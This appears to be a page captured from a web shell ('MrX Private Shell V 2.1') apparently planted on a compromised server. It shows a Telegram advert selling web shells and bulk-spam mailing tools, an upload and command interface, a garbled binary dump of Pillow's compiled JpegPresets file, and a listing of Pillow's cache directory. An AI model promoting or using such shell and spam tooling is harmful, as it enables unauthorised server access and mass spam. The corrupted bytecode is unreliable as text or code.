__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

"%vg[0����SrSSKJr S/SQ/SQ/S.S/SQ/SQ/S.S/S	Q/S
Q/S.S/SQ/SQ/S.S/S
Q/SQ/S.S/SQ/SQ/S.S/SQ/SQ/S.S/SQ/SQ/S.S/SQ/SQ/S.S.	rg)u
JPEG quality settings equivalent to the Photoshop settings.
Can be used when saving JPEG files.

The following presets are available by default:
``web_low``, ``web_medium``, ``web_high``, ``web_very_high``, ``web_maximum``,
``low``, ``medium``, ``high``, ``maximum``.
More presets can be added to the :py:data:`presets` dict if needed.

To apply the preset, specify::

  quality="preset_name"

To apply only the quantization table::

  qtables="preset_name"

To apply only the subsampling setting::

  subsampling="preset_name"

Example::

  im.save("image_name.jpg", quality="web_high")

Subsampling
-----------

Subsampling is the practice of encoding images by implementing less resolution
for chroma information than for luma information.
(ref.: https://en.wikipedia.org/wiki/Chroma_subsampling)

Possible subsampling values are 0, 1 and 2 that correspond to 4:4:4, 4:2:2 and
4:2:0.

You can get the subsampling of a JPEG with the
:func:`.JpegImagePlugin.get_sampling` function.

In JPEG compressed data a JPEG marker is used instead of an EXIF tag.
(ref.: https://exiv2.org/tags.html)


Quantization tables
-------------------

They are values use by the DCT (Discrete cosine transform) to remove
*unnecessary* information from the image (the lossy part of the compression).
(ref.: https://en.wikipedia.org/wiki/Quantization_matrix#Quantization_matrices,
https://en.wikipedia.org/wiki/JPEG#Quantization)

You can get the quantization tables of a JPEG with::

  im.quantization

This will return a dict with a number of lists. You can pass this dict
directly as the qtables argument when saving a JPEG.

The quantization table format in presets is a list with sublists. These formats
are interchangeable.

Libjpeg ref.:
https://web.archive.org/web/20120328125543/http://www.jpegcameras.com/libjpeg/libjpeg-3.html

�)�annotations�)@����'�2�.�>�Dr���&r�5�Arrr�rrrrrrrrrrrrrr	rrrrrrrr
rrrrrrrrrrrrrrrrrrrrrrr)@�r� r�6rrrr��rrrrrrrr�+�Brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr)�subsampling�quantization)@r�rrr�r�r�r�rrrrrr�
rr��#�/rr rrr"�%r$�@rrrr"r�3r&r&rrr"r%r'r&r&r&rrr#r$r&r&r&r&rrr$r&r&r&r&r&)@�r r(rrr"r�0r �r
r(rr"r#rr(r
r�r"rr
rrr(r+rrrrr&rrr"rrr)r&r&r"r"rrr)�?r&r&rr#r
rr&r&r&r&r)rrr&r&r&r&r&)@��r.r-�	rrrr.�r0r-��
rrr.r0r0r-r2r�r*r-r-r-rrr r*rr/r1r2rrrrrrr2rr rrrrrrr3r*rrrrrrr*rrrrr)@�r4r!rr"rrrr4rrrrrrrr!rr(rrrrrrrrrrrrrr"rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr)@rrrr�r.r0r-rrrrr5r.r0r-rrrrr.r0r4r/rrrr.r0r4r/rr5r5r.r0r1r2rrr.r.r0r4r2rrrr0r0r4r/rrrrr-r-r/rrrrr)@r5r5r0r/r!r r r r5r.r-rr3rrrr0r-r/r3rrrrr/rr3rrrrrr!r3rrrrrrr rrrrrrrr rrrrrrrr rrrrrrr)@�r6r6r6r6r6r6r6r6r6r6r6r6r6r6r6r6r6r6r6r6r6r6rr6r6r6r6r6r6rrr6r6r6r6r6rrr5r6r6r6r6rrr5r5r6r6r6rrr5r5r5r6r6rrr5r5r5r5)@r6r6r6rrr5r5r5r6r6r6rr5r5r5r5r6r6r6r5r5r5r5r5rrr5r5r5r5r5r5rr5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5r5)@r
r3r3rrr#�"r(r3rrr*r"rrrr3rr(rrrrrrr*rrrrrrrr"rrrrrrr#rrrrrrrr7rrrrrrrr(rrrrrrr)@rr*r+rrrr(r(r*rrr3r3rrrr+rr3r3rrrrrr3r3rrrrrrr3rrrrrrrrrrrrrrr(rrrrrrrr(rrrrrrr)@rr1r1rr(rrr(r1r/r/rr r*rrr1r/r2rr*rrrrrrrrrrrr(r r*rrrrrrr*rrrrrrrrrrrrrrr(rrrrrrr)@r!rr!rrrr(r(rr3r3r3r3rrrr!r3r3r3rrrrrr3r3rrrrrrr3rrrrrrrrrrrrrrr(rrrrrrrr(rrrrrrr)@r-r.r.r-r/rrrr.r0r0r-r1r2rrr.r0r0r-r2rrrr-r-r-rrrrrr/r1r2rrrrrrr2rrrrrrrrrrrrrrrrrrrrrr)@r4r4r!rrrr(r(r4rrr3r3rrrr!rr3r3rrrrrr3r3rrrrrrr3rrrrrrrrrrrrrrr(rrrrrrrr(rrrrrrr)@r5r5r0r/r!r r r r5r.r-r2r3rrrr0r-r/r3rrrrr/r2r3rrrrrr!r3rrrrrrr rrrrrrrr rrrrrrrr rrrrrrr)	�web_low�
web_medium�web_high�
web_very_high�web_maximum�low�medium�high�maximumN)�__doc__�
__future__r�presets���1/usr/lib/python3/dist-packages/PIL/JpegPresets.py�<module>rGs��?�B#�./� @� @�. �!�&./� @� @�.� �&./� @� @�.� �&/0� @� @�/ �!�&./�!@�!@�.� �&./� @� @�.� �&./� @� @�.� �&./� @� @�.� �&./� @� @�.� �sl�rE

Filemanager

Name Type Size Permission Actions
BdfFontFile.cpython-313.pyc File 4.28 KB 0644
BlpImagePlugin.cpython-313.pyc File 23.93 KB 0644
BmpImagePlugin.cpython-313.pyc File 17.97 KB 0644
BufrStubImagePlugin.cpython-313.pyc File 2.68 KB 0644
ContainerIO.cpython-313.pyc File 6.72 KB 0644
CurImagePlugin.cpython-313.pyc File 2.37 KB 0644
DcxImagePlugin.cpython-313.pyc File 2.73 KB 0644
DdsImagePlugin.cpython-313.pyc File 22.58 KB 0644
EpsImagePlugin.cpython-313.pyc File 15.76 KB 0644
ExifTags.cpython-313.pyc File 11.43 KB 0644
FitsImagePlugin.cpython-313.pyc File 6.06 KB 0644
FliImagePlugin.cpython-313.pyc File 6.76 KB 0644
FontFile.cpython-313.pyc File 4.45 KB 0644
FpxImagePlugin.cpython-313.pyc File 7.66 KB 0644
FtexImagePlugin.cpython-313.pyc File 5.25 KB 0644
GbrImagePlugin.cpython-313.pyc File 3.68 KB 0644
GdImageFile.cpython-313.pyc File 3.35 KB 0644
GifImagePlugin.cpython-313.pyc File 44.88 KB 0644
GimpGradientFile.cpython-313.pyc File 5.35 KB 0644
GimpPaletteFile.cpython-313.pyc File 2.12 KB 0644
GribStubImagePlugin.cpython-313.pyc File 2.68 KB 0644
Hdf5StubImagePlugin.cpython-313.pyc File 2.65 KB 0644
IcnsImagePlugin.cpython-313.pyc File 17 KB 0644
IcoImagePlugin.cpython-313.pyc File 14.92 KB 0644
ImImagePlugin.cpython-313.pyc File 12.76 KB 0644
Image.cpython-313.pyc File 165.73 KB 0644
ImageChops.cpython-313.pyc File 10.63 KB 0644
ImageCms.cpython-313.pyc File 42.28 KB 0644
ImageColor.cpython-313.pyc File 12.22 KB 0644
ImageDraw.cpython-313.pyc File 43.5 KB 0644
ImageDraw2.cpython-313.pyc File 9.43 KB 0644
ImageEnhance.cpython-313.pyc File 5.28 KB 0644
ImageFile.cpython-313.pyc File 30.8 KB 0644
ImageFilter.cpython-313.pyc File 22.79 KB 0644
ImageFont.cpython-313.pyc File 65.84 KB 0644
ImageGrab.cpython-313.pyc File 6.56 KB 0644
ImageMath.cpython-313.pyc File 15.95 KB 0644
ImageMode.cpython-313.pyc File 2.75 KB 0644
ImageMorph.cpython-313.pyc File 11.03 KB 0644
ImageOps.cpython-313.pyc File 28.21 KB 0644
ImagePalette.cpython-313.pyc File 12.04 KB 0644
ImagePath.cpython-313.pyc File 306 B 0644
ImageQt.cpython-313.pyc File 8.46 KB 0644
ImageSequence.cpython-313.pyc File 3.33 KB 0644
ImageShow.cpython-313.pyc File 13.72 KB 0644
ImageStat.cpython-313.pyc File 7.13 KB 0644
ImageTransform.cpython-313.pyc File 5.19 KB 0644
ImageWin.cpython-313.pyc File 11.44 KB 0644
ImtImagePlugin.cpython-313.pyc File 2.55 KB 0644
IptcImagePlugin.cpython-313.pyc File 8.91 KB 0644
Jpeg2KImagePlugin.cpython-313.pyc File 18.34 KB 0644
JpegImagePlugin.cpython-313.pyc File 33.72 KB 0644
JpegPresets.cpython-313.pyc File 7.9 KB 0644
McIdasImagePlugin.cpython-313.pyc File 2.23 KB 0644
MicImagePlugin.cpython-313.pyc File 3.85 KB 0644
MpegImagePlugin.cpython-313.pyc File 3.68 KB 0644
MpoImagePlugin.cpython-313.pyc File 8.04 KB 0644
MspImagePlugin.cpython-313.pyc File 5.87 KB 0644
PSDraw.cpython-313.pyc File 7.67 KB 0644
PaletteFile.cpython-313.pyc File 1.9 KB 0644
PalmImagePlugin.cpython-313.pyc File 9.46 KB 0644
PcdImagePlugin.cpython-313.pyc File 2.05 KB 0644
PcfFontFile.cpython-313.pyc File 9.68 KB 0644
PcxImagePlugin.cpython-313.pyc File 7.27 KB 0644
PdfImagePlugin.cpython-313.pyc File 9.64 KB 0644
PdfParser.cpython-313.pyc File 52.78 KB 0644
PixarImagePlugin.cpython-313.pyc File 1.94 KB 0644
PngImagePlugin.cpython-313.pyc File 61.98 KB 0644
PpmImagePlugin.cpython-313.pyc File 14.13 KB 0644
PsdImagePlugin.cpython-313.pyc File 10.81 KB 0644
QoiImagePlugin.cpython-313.pyc File 6.02 KB 0644
SgiImagePlugin.cpython-313.pyc File 8.37 KB 0644
SpiderImagePlugin.cpython-313.pyc File 12.27 KB 0644
SunImagePlugin.cpython-313.pyc File 3.42 KB 0644
TarIO.cpython-313.pyc File 1.86 KB 0644
TgaImagePlugin.cpython-313.pyc File 8.11 KB 0644
TiffImagePlugin.cpython-313.pyc File 99.07 KB 0644
TiffTags.cpython-313.pyc File 18.43 KB 0644
WalImageFile.cpython-313.pyc File 4.01 KB 0644
WebPImagePlugin.cpython-313.pyc File 13.27 KB 0644
WmfImagePlugin.cpython-313.pyc File 6.19 KB 0644
XVThumbImagePlugin.cpython-313.pyc File 2.61 KB 0644
XbmImagePlugin.cpython-313.pyc File 4.05 KB 0644
XpmImagePlugin.cpython-313.pyc File 4.2 KB 0644
__init__.cpython-313.pyc File 1.98 KB 0644
__main__.cpython-313.pyc File 346 B 0644
_binary.cpython-313.pyc File 3.24 KB 0644
_deprecate.cpython-313.pyc File 2.37 KB 0644
_tkinter_finder.cpython-313.pyc File 745 B 0644
_typing.cpython-313.pyc File 2.14 KB 0644
_util.cpython-313.pyc File 1.5 KB 0644
_version.cpython-313.pyc File 222 B 0644
features.cpython-313.pyc File 13.58 KB 0644
report.cpython-313.pyc File 278 B 0644
Filemanager